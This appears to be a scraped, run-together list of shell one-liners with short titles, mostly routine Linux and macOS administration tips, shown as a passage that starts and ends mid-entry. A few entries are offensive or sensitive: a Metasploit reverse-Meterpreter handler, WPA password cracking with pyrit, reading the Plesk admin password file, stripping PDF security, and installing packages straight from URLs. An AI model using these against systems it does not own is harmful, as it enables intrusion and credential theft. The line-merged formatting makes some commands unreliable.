-type f -size +5000k`; do > $file; done # Get decimal ascii code from character ord() { printf "%d\n" "'$1"; } # WPA/WPA2 ESSID and password automation with pyrit gopyrit () { if [ $# -lt 1 ]; then echo $0 '< list of ESSIDs >'; return -1; fi; for i in "$@"; do pyrit -e $i create_essid && pyrit batch; done; pyrit eval } # recursive transform all contents of files to lowercase perl -e "tr/[A-Z]/[a-z]/;" -pi.save $(find . -type f) # Perl One Liner to Generate a Random IP Address perl -e 'printf join ".", map int rand 256, 1 .. 4;' # Geolocate a given IP address geoip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true"; } # Show directories in the PATH, one per line echo -e ${PATH//:/\\n} # Emergency Alien Invasion Warning while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset; sleep 0.3; done # Create a Christmas tree with perl perl -MAcme::POE::Tree -e 'Acme::POE::Tree->new()->run()' # set timestamp in exif of a image exiv2 -M"set Exif.Photo.DateTimeOriginal `date "+%Y:%m:%d %H:%M:%S"`" filename.jpg # Gentoo: Get the size of all installed packets, sorted equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}' # Equivelant of a Wildcard `ls` # Dump all of perl's config info perl -le 'use Config; foreach $i (keys %Config) {print "$i : @Config{$i}"}' # Better "hours of video" summary for each file/dir in the current directory for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$' # Say no to overwriting if cp -i is the default alias. \cp something toSomeWhereElse # Kill all Zombie processes if they accept it! kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'` # # Multiline unique paragraph sort; with case insensitive option (-i) gawk 'BEGIN {RS="\n\n"; if (ARGV[1]=="-i")IGNORECASE=1;ARGC=1}{if (IGNORECASE)Text[tolower($0)]=$0;else Text[$0]=$0 };END {N=asort(Text);for(i=1;i<=N;i++)printf "%s\n\n",Text[i]}' -i<Test.txt # Generate an XKCD #936 style 4 word passphrase (fast) echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4) # download and install the software package in one step rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm' # See if your mac can run 64-bit && if it the kernel is loaded 64-bit ioreg -l -p IODeviceTree | grep -o EFI[0-9]. && system_profiler SPSoftwareDataType |grep 64 # Show which include directories your installation of Perl is using. perl -le 'print join $/, @INC' # Do you really believe on Battery Remaining Time? Confirm it from time to time! echo start > battery.txt; watch -n 60 'date >> battery.txt' # Set status in pidgin purple-remote "setstatus?status=Available&message=Checking libpurple" # Get URLs matching some xmms2 search xmms2 info $(xmms2 mlib search '<query>' | sed -ne 's/^00*\([1-9][0-9]*\).*$/\1/p') | awk -F' = ' '$1~/ url$/{print$2}' # Kill process by searching something from 'ps' command pkill -f <process name> # Find packages on Ubuntu/Debian based on their description aptitude search ~d<string> # Copy files from multiple directories into one directory find <start directory> -iname "<all my files type>" -exec cp {} <target_dir> \; # Add new file under svn version control. svn st | grep ^\? | awk '{print $2}' | xargs svn add # Resets terminal in its original state ^[c (ctrl-v esc-c) # append content of a file to itself cat file | tee >> file # Say no to overwriting if cp -i is the default alias. /bin/cp -n <from> <to> # Remove color codes (special characters) with sed cat input.txt | sed 's/\\\033[^a-zA-Z]*.//g' # Simply generate a password for userPassword in ldap slpappasswd # Find which package a file belongs to on Solaris pkgchk -l -p <full path to the file> # How to watch files watch -d 'ls -l' # snarf is a command line resource grabber. snarf http://foo.bar.com/picture.jpg # Testing writing speed with dd sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync` # Show the ndd ip settings of a solaris device for i in `ndd /dev/ip \? | awk '{ print $1 }' | egrep -v "ip6|status|icmp|igmp|\?"` ; do echo $i `ndd -get /dev/ip $i` ; done | grep -v \? # forking a process from gnome-terminal detached from the terminal. gnome-open . & disown # concatenate compressed and uncompressed logs find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \; # Perl One Liner to Generate a Random IP Address perl -le '$,=".";print map int rand 256,1..4' # Join lines split with backslash at the end tr -d '\\' | tr -d '\n' # ifrename busybox nameif newname $(</sys/class/net/oldname/address) # Generate RSA private key and self-signed certificate touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new -batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem # Convert ip address in hexadecimal gethostip 208.69.34.230 -x # Find and replace recursivly a ignoring .svn find . -type f -not -regex ".*\/.svn\/.*" -exec sed -i 's/oldstring/newstring/g' {} + # finding cr-lf files aka dos files with ^M characters grep -UIlr "^M" * # Count files and folder ls /var/log/ |wc -l # show mysql process ids mysql -s -e "show processlist" |awk '{print $1}' # make pgsql backup and gzip it pg_dump otrs2 | gzip > dump.gz # Search for specific IPs taken form a text file within the apache access log grep -E ":(`cat bnd-ips.txt | sed 's/\./\\./g' | tr '\n' '|'`)" access.log # Visualizing system performance data vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;" # encode image to base64 and copy to clipboard uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard # Search pattern case insensitive :/\c{pattern} # List file/directories in order of last accessed, in human readable terms ls -lth podcasts/ # Quick enter into a single screen session alias screenr='screen -r $(screen -ls | egrep -o -e '[0-9]+' | head -n 1)' # Power cd - Add a couple of useful features to 'cd' cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; } # find broken symbolic links find . -type l | (while read FN ; do test -e "$FN" || ls -ld "$FN"; done) # Upload documents from linux to MS SHarepoint using curl curl --ntlm -u <your Active-Directory-Domain>/<your-domain-username> -T /path/to/local/$FILE http://sharepoint.url.com/doc/library/dir/ # Read all the S.M.A.R.T. data from a hard disk drive smartctl --attributes /dev/sda # Force file system check touch /forcefsk # Merge ( directories [looking for improvement] (cd SRC; find . -type d -exec mkdir TARGET/{} ";"; find . -type f -exec mv {} TARGET/{} ";") # 60 second on screen timer for bash scripts i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else printf "\b\b $i";fi;sleep 1;i=`expr $i - 1`;done # Go back to the previous directory. cd - # One liner gdb attach to Acrobat (acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof ld-linux.so.2` # Calculator on the go echo 2+3 |bc # List your largest installed packages (on Debian/Ubuntu) perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;' < /var/lib/dpkg/status | sort -rn | less # shows the full path of shell commands type <command> # revert a committed change in SVN svn merge -c -REV # Find PHP files find . -name "*.php" -exec grep -i -H "search pharse" {} \; # Handling oracle alter log file awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/) {DATE=$2" "$3" "$4" "$5 } else {print DATE"|"$0}}' alterorcl.log # Displays All TCP and UDP Connections sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep tcp # find&grep all in once #!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xa rgs -I @ grep -H $1 @ # Tar - Compress by excluding folders tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt" # Use ping to test if a server is up if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi # Convert wma to wav for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done # Show seconds since modified of newest modified file in directory echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) )) # lsof - cleaned up for just open listening ports, the process, and the owner of the processalias oports="echo -e "User:\tCommand:\tPort:\n----------------------------" && lsof -i 4 -P -n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -u -k 3 -n | xargs printf '%-10s %-10s %-10s\n'" # Open multiple tabs in Firefox from a file containing urls for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i" # Bulk install apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y # Watch the progress of 'dd' dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 1 && clear; done # Store mp3 playlist on variable and play with mpg123 PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST # Get just the IP for a hostname host foo.com|grep " has address "|cut -d" " -f4 # Get FreeMusicCharts wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"']*\.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c # Make a statistic about the lines of code find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}' # Static Yubikey 2.2 Password Using Programming Slot 1 ykpersonalize -1 -ostatic-ticket -ostrong-pw1 -ostrong-pw2 # Traffic stat on ethernet interface ethtool -S eth0 # Set default "New Page" as HTML in TextMate defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6 # List your installed Firefox extensions grep -hIr -m 1 :name ~/.mozilla/firefox/*.$USER/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u # Quickly check a device in a LVM volume group against multipath pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7 # Get just the IP for a hostname gethostip -d hostname # List your installed Chromium extensions (with url to each page) for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr name $i| cut -f4 -d '"'| sort);u="https://chrome.google.com/extensions/detail/";ue=$(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done # Change MySQL Pager For Nicer Output In MySQL client, \P less -S # test connection to a remote IP / port nc -z <IP> <TCP port> OR nc -zu <IP> <UDP port> # Setup Vim environment for USACO coding alias viaco='task="$(basename "$(pwd)")"; if [ -f "$task.c" ]; then vi -c "set mouse=n" -c "set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H" $task.c; fi' # Generate a list of installed packages on Debian-based systems aptitude search ~i -F %p # extract links from a google results page saved as a file gsed -e :a -e 's/\(<\/[^>]*>\)/\1\n/g;s/\(<br>\)/\1\n/g' page2.txt | sed -n '/<cite>/p;s/<cite>\(.*\)<\/cite>/\1/g' >> output # Read the Useless Use of Cat Awards page elinks http://partmaps.org/era/unix/award.html # Color Highlighted Log Viewing with Tail, Fifo, and CCZE F=~/$$.fifo;[ -p $F ] && rm $F;mkfifo $F;(( tail -n50 -s2 -f access_log error_log>$F )&);ccze -A < $F;rm $F # Launch a Java .jar App java -jar /path/to/filename.jar # Replace the Caps Lock key with Control setxkbmap -option ctrl:nocaps # rows2columns perl -le 'print join ", ", map { chomp; $_ } <>' # Autofind alive hosts on subnet upon connect dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f 1-3) && nmap $sbnt.0/24 -sP # List Seeon.tv Available Video Channels lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done # Current directory files and subdirectories ordered by size du -ks * | sort -n # Create a multi-part RAR archive rar a -v[SIZE] [archivename] [files] # Recursive Ownership Change sudo chown -R user2:user2 /../../somedirectory # Puts every word from a file into a new line < <infile> tr ' \t' '\n' | tr -s '\n' > <outfile> # Delete files and directories from current directory exept those specified rm -R `ls | egrep -v 'dir1|dir2|file1'` # Retrieve Plesk Admin Password cat /etc/psa/.psa.shadow # encode/decode HTML entities xml2asc < inputfile > outputfile # create a motion jpeg (MJPEG) with the jpg file from current directory with men codermencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi # Analyse a PHP file for instantations and static calls grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort # Dump HTTP header using lynx or w3m lynx -dump -head http://www.example.com/ # Provide a list of all ELF binary objects (executable or libs) in a directory file /usr/bin/* | grep ELF | cut -d":" -f1 # Capitalize the word with dd echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;} # Find iPod's fwguid lsusb -v | grep -o "[0-9A-Z]{16}" # Send and streamming video to web cat video.ogg | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=name -O - & sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogg # PlayTweets from the command line vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne '/<title>/s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}') # Show display type ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6 # print statistics about users' connect time ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0" = "h"h "m"m "s"s "}' # Gather libraries used and needed by a binary for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d]`; do [ -e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink -f $j ; done # Can be used to pimp the finger output. :) echo "World Domination" > ~/.plan; finger $USER; # Count httpd processes pgrep -c 'httpd|apache2' # Check if commands are available on your system for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program $c is missing ; exit 1; fi; done # Find all python modules that use the math module find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \; # Recreate all initrd files for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done # Print free memory free -m | awk '/Mem/ {print $4}' # Identifying Xorg video driver in use egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log # Shows all virtual machines in Citrix XenServer xe vm-list # The program listening on port 8080 through IPv6 lsof -Pnl +M -i6 | grep 8080 # print a cpu of a process ps -eo args,%cpu | grep -m1 PROCESS | tr 'a-z-' ' ' | awk '{print $1}' # Find the files that contain a certain term find /path/to/dir -type f -exec grep \-H "search term" {} \; # Copy a virtual machine on Citrix XenServer, optionally to a different storage repositoryxe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy of ABCServer" new-name-description="New Description" # delete all leading whitespace from each line in file sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file> # kills all php5-fcgi processes for user per name pkill -9 -u username php5-fcgi # recursive permission set for xampp apache user nobody sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/ # Sed file spacing sed G # Show current folder permission from /, useful for debugging ssh key permission awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}' # Get Memeory Info cat /proc/meminfo # Import a virtual machine with XenServer xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR UUID> # change dir to n-th dir that you listed cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1) # Maven Install 3rd party JAR mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true # Copy your SSH public key on a remote machine for passwordless login - the easy way$ssh-copy-id ptaduri@c3pusas1 # make directory parallel -a <(seq 0 20) mkdir /tmp/dir1/{} # Generate hash( of some types) from string hashalot -s salt -x sha256 <<<"test" # Stop your screen saver interrupting your mplayer sessions alias mplayer='mplayer -stop-xscreensaver' # Get just the IP for a hostname host google.com|awk '{print $NF}' # Start handler in metasploit to listen for reverse meterpreter connections msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E # Emptying a text file in one shot ggdG # Detect your computer's harddisk read speed without disk cache speed cat /dev/sda | pv -r > /dev/null # Recursively remove all '.java.orig' files (scalable) find . -type f -iname '*.java.orig' -delete # Removing accents in name files IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ???????????????????\ aaaeeiooAAAEEIOOOcC_` ; done # Hunt for the newest file. find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $ts -ge ${gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done # Remove ^M characters at end of lines in vi :%s/^V^M//g # Get IPv4 of eth0 for use with scripts ifconfig eth0 | perl -ne 'print $1 if m/addr:((?:\d+\.){3}\d+)/' # change current directory permissions and only sub-directories recursively (not files)find . -type d -exec chmod XXXX {} \; # Let's say you have a web site for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done # Display laptop battery information cat /proc/acpi/battery/BAT1/info # Fetch current song from last.fm curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g' | head -n2 | tail -n1 | sed 's/^[[:space:]]*//g' # Clone all remote branches of a specific GitHub repository git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop % # Time redis ping in thousands of a second. TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's/0m//; s/\.//; s/s//; s/^0.[^[1-9]*//g;' # increment a bash variable ((x++)) # Uncompress a CSS file cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css # Monitor the Kernel Ring Buffer watch 'dmesg | tail -15' # find the device when you only know the mount point df /media/mountpoint |egrep -o '^[/a-z0-9]*' # terminal based annoy-a-tron while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done # futz.me - Send yourself notes from the command line lynx "futz.me/xxx hey this is a test" # Add a list of numbers echo "1 2 3+p" | dc # Restore the keyboard for qwerty users. setxkbmap us # Delete the \n character at the end of file awk 'BEGIN { ARGV[ARGC++]=ARGV[ARGC-1] } NR!=FNR { if(num==0) num=NR-1; if(FNR<num) {print} else { ORS=""; print } } ' abc1.txt > abc2.txt # turn off all services in specific runlevel for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --level 4 "$i" off; done # search package descriptions (apt) apt-cache search someregex # Watch mysql processlist on a remote host watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processlist | tee -a /to/a/file # password generator genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} | tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; } # View the newest xkcd comic. gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '<img src="http://imgs.xkcd.com/comics/' | sed s/title=\".*//g | sed 's/.png\"/.png/g' | sed 's/<img src=\"//g'` # Quickly switch to login window (#OSX) /System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend # Add repository in source list without editing sources.list add-apt-repository [REPOSITORY] # collapse first five fields of Google Adwords export .tsv file into a single fi eldawk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n--\n";}' LS=$'\n' 'Ad report.tsv' | column -t -s $'\t' # for loop, counting forward for backward for i in {1..15}; do echo $i; done # get Hong Kong weather infomation from HK Observatory wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | grep -v '^$' # get Hong Kong weather infomation from HK Observatory wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>]+>//g;/^UV/q' | tail -n4 # Mount a Windows share on the local network (Ubuntu) with user rights and use a specific samba usersudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point # Extract all 7zip files in current directory taking filename spaces into accoun tfind -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{}' ';' # Get the available physical ports and their information setserial -g /dev/ttyS[0-9]* | grep -v "unknown" # External IP address wget http://cmyip.com -qO - | grep -Ewo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | uniq # Succeed or fail randomly (Schr?dinger's code) test $((RANDOM%2)) -eq 0 # remove all CVS directories find . -type d -name 'CVS' -exec rm -r {} \; # Bash Alias That Plays Music from SomaFM alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls' # Replace DOS character ^M with newline using perl inline replace. perl -pi -e "s/\r/\n/g" <file> # check broken links using wget as a spider wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com # Count the lines of source code in directory, ignoring files in generated by sv nfind . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l # Uninstall all MacPorts that are no longer active sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall # Display file descriptors in Squid squidclient mgr:info | grep "file desc" # creates a bash function to remove certain lines from SSH known_hosts file function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; } # Save and merge tcsh history across windows and sessions Use history -S in your .logout file # use perl instead of sed echo "sed -e"|perl -pe 's/sed -e/perl -pe/' # Join lines cat file | tr -d "\n" # Remove all the files except abc in the directory rm *[!teste0,teste1,teste2] # find the device when you only know the mount point grep -w /media/KINGSTON /proc/mounts | cut -d " " -f # output one file per line awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt # plink ssh connect plink lyu0@mysshserver -pw 123456 # Enable V4l2 Webcams gst-launch v4l2src # List files that DO NOT match a pattern ls | grep -vi pattern # LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY find -maxdepth 1 -mtime 0 -type f # Select MacOSX Network Location scselect <location> # Install a remote RPM sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm" # Rename all the files in the current directory into their sha1sum find . -maxdepth 1 -type f| xargs sha1sum | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done # bored of listing files with ls wanna see them in file browser in gnome try thi sgnome-open . # Call remote web service curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/web-service/soap/WSName # Find directories with lots of files in them sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d (sort keys %counts) {printf("%d\t%s\n",$counts{$d},$d);} }'|sort -rn | tee /tmp/sortedfilecount.out | head # Place the argument of the most recent command on the shell cd !$ # Restore accents in vi & others LANG=fr_FR@euro # Search git repo for specified string git grep "search for something" $(git log -g --pretty=format:%h -S"search for something") # Send an email using the mutt email client M=bob@example.com; echo "Email message" | mutt -s "Email Subject" $M # RTFM function rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; } # Block an IP address iptables -A INPUT -s 65.55.44.100 -j DROP # Hunt for the newest file. ls -trF | grep -v \/ | tail -n 1 # Quick alias for playing music. alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi' # Get your external IP address curl ifconfig.me/all/xml # strip id3 v1 and v2 tags from all mp3s in current dir and below find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \; # Convert filenames from ISO-8859-1 to UTF-8 LANG=fr_FR.iso8859-1 find . -name '*['$'\xe9'$'\xea'$'\xeb'$'\xc9'']*'|while read f; do a="$(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done # Renaming jpg extension files at bunch find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"' # tail all logs opened by all java processes sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/[^/]* //g'|xargs -r tail -f # Dump your Thunderbird Lightning todo list in CSV format sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL ORDER BY priority ASC, last_modified DESC;" # Burn an ISO on commandline with wodim instead cdrecord wodim foo.iso # Create a new chrome profile and run it p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p; # To generate the list of dates using bash shell now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while [ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done # truncate files without output redirection or temporary file creation sed -i 's/`head -n 500 foo.log`//' foo.log # Random integer number between FLOOR and RANGE FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number # get ^DJI getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; } # Renames all files in the current directory such that the new file contains no space characters.find ./ $1 -name "* *" | while read a ; do mv "${a}" "${a//\ /_}" ; done # Shutdown all VMWare ESX VMs from commandline for vm in `/usr/bin/vmware-cmd -l`; do /usr/bin/vmware-cmd "${vm}" stop trysoft; done # locate a command which somecommand # Send web page by e-mail { u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version: 1.0"; echo -e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendmail recipient@example.com # Better PS aliases export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alias psa='_ps ax -o $PSOA' # Remove CR LF from a text file flip -u $FILE # show the log of a branch since its creation svn log . --stop-on-copy # Countdown Clock function countdown { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; } # Get the absolute path of a file realpath -s <filename> # list files by testing the ownership ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}' # Find files and list them sorted by modification time find . -type f -exec ls -tr {} + # find unmaintained ports that are installed on your system cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`" `make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d \| # Go to begin of current command line CTRL + a # Day Date Time> Instead of $ or # at the terminal export PS1='\D{%a %D %T}> ' # Remove security limitations from PDF documents using ghostscript (for Windows) gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf # Go to next dir cd - # creates a xkcd #936-style password RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..4}; do let "N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr -d '\n'; done; RANGE=100; let "N = $RANDOM % $RANGE"; echo $N # share single file in LAN via netcat while :; do cat file.txt | nc -l 80; done # Cloning hard disks over the network: Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M # List files that DO NOT match a pattern printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob # Generate an XKCD #936 style 4 word password sort -R /usr/share/dict/british | grep -v -m4 ^\{1,10\}$ | tr [:upper:] [:lower:] | tr "\n" " " | tr -d "'s" | xargs -0 echo # bored of listing files with ls wanna see them in file browser in gnome try thi sxdg-open . # create random string from /dev/urandom (or another length) echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64` # Convert windows text file to linux text document sed 's/.$//' Win-file.txt # Show the system properties in a Sun VirtualBox server VBoxManage list systemproperties # What is my public IP-address? wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//' # Find most used focal lengths in a directory of photos exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c # Expand shell variables in sed scripts expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file # Tweet my ip ( see your machine ip on twitter ) STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml # Verify the virtual machine status VBoxManage showvminfo "cicciobox" --details # bash script to zip a folder while ignoring git files and copying it to dropbox zip -r homard homard -x homard/.git\*; cp ./homard.zip /path_to_dropbox_public_folder/homard.zip # Get the size of all the directories in current directory (Sorted Human Readabl e)alias duh='dulist=$(du -sh */); for i in T G M K; do printf "$dulist"|egrep "^[0-9\.]+$i" | sort -rn; done' # Generate MD5 of string and output only the hash checksum echo -n "String to get MD5" | md5sum | sed "s/ -//" # Mirror every lvol in vg00 in hp-ux 11.31 find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \; # List the supported OS in VirtualBox VBoxManage list ostypes # Start mplayer in the framebuffer mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720} # Watch end of files real time, especially log files tail -f ~/.bash_history # show current directory 